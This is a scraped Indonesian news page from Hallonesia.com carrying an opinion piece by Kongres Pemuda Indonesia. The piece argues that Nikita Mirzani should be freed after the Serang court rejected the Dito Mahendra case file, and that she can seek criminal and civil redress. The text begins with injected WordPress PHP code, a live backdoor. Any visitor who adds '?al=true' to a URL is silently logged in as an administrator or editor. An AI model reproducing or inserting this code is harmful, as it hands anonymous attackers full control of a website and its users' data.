// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Nikita Mirzani Dapat Gunakan Hak Hukumnya, Baik Secara Pidana Maupun Perdata - Hallonesia.com

Nikita Mirzani Dapat Gunakan Hak Hukumnya, Baik Secara Pidana Maupun Perdata

Avatar photo

- Pewarta

Kamis, 29 Desember 2022 - 10:04 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Nikita Mirzani di PN Serang Banten. (Instagram.com/@nikitamirzanimawardi_172)

Nikita Mirzani di PN Serang Banten. (Instagram.com/@nikitamirzanimawardi_172)

HALLONESIA.COM Kongres Pemuda Indonesia menilai Keputusan Hakim Pengadilan Negeri Serang yang menolak berkas perkara JPU Dito Mahendra (DM) untuk disidangkan sudah tepat.

Sehingga secara mutatis mutandis sdri. Nikita Mìrzani (NM) harus dinyatakan bebas.

Ketidak hadiran sdra. DM di Pengadilan Negeri Serang walau sudah dipanggil secara sah dan patut adalah suatu bentuk ketidakhormatan kepada Pengadilan

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Sehingga tindakan DM yang tidak menghadiri persidangan tersebut dapat dimintai pertanggung jawaban Pidana sebagaimana diatur didalam Pasal 224 KUHP.

Selain dapat dipidana, setelah dinyatakan bebas dari penjara, sdri. NM juga dapat menggunakan hak hukumnya baik secara pidana maupun perdata.

Dikarenakan sudah dirugikan ditambah lagi secara keperdataan tentunya ada kerugian materiil yang ditimbulkan atas penahanan tersebut.

Yang dapat dinilai dan ditaksir juga kerugian Immaterialnya, hal tersebut diatur didalam Pasal 1365 KUHPerdata Jo 1366 KUHPerdata.

Hak hukum yang melekat tersebut dapat digunakan oleh NM mengingat berkas perkara tersebut sudah ditolak oleh Hakim Pengadilan Negeri Serang.

Sehingga atas penolakan berkas perkara tersebut untuk diadili, KPI menilai Jaksa tidak dapat melakukan upaya hukum banding.

Oleh: Pitra Romadoni Nasution, SH MH, Presiden Kongres Pemuda Indonesia.***

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Senin, 3 Agustus 2026 - 00:05 WIB

Nippon Paint China Tampil Perdana di ARCHIDEX 2026, Pamerkan Inovasi untuk Industri Konstruksi

Senin, 3 Agustus 2026 - 00:00 WIB

Steel Architectural Awards ASEAN 2026 Perkuat Kolaborasi Regional untuk Mendorong Keunggulan Arsitektur

Minggu, 2 Agustus 2026 - 23:35 WIB

Setelah Ekspansi ke Pasar Baru, Apa Langkah Berikutnya?

Sabtu, 1 Agustus 2026 - 07:16 WIB

DFSK Luncurkan E5 PLUS Setir Kanan di Indonesia, Perkuat Strategi Ekspansi Global

Jumat, 31 Juli 2026 - 10:52 WIB

Esports Foundation dan adidas Jalin Kemitraan Bersejarah untuk Membekali Seluruh Tim pada Penyelenggaraan Perdana Esports Nations Cup

Jumat, 31 Juli 2026 - 08:12 WIB

Studi Ookla di Manila: Jaringan VoLTE Milik Operator Seluler Ungguli Aplikasi OTT dalam Kualitas dan Keandalan Panggilan Suara

Jumat, 31 Juli 2026 - 03:14 WIB

Twinkle Twinkle Mengawali Petualangan di Asia Tenggara dari Singapura dan Menjadikan Singapura Rumah Pertamanya

Jumat, 31 Juli 2026 - 00:51 WIB

AION V Curi Perhatian Konsumen Gelombang Pertama di Inggris, Berawal dari Rekomendasi Keluarga di Tiongkok

Berita Terbaru

Pers Rilis

Setelah Ekspansi ke Pasar Baru, Apa Langkah Berikutnya?

Minggu, 2 Agu 2026 - 23:35 WIB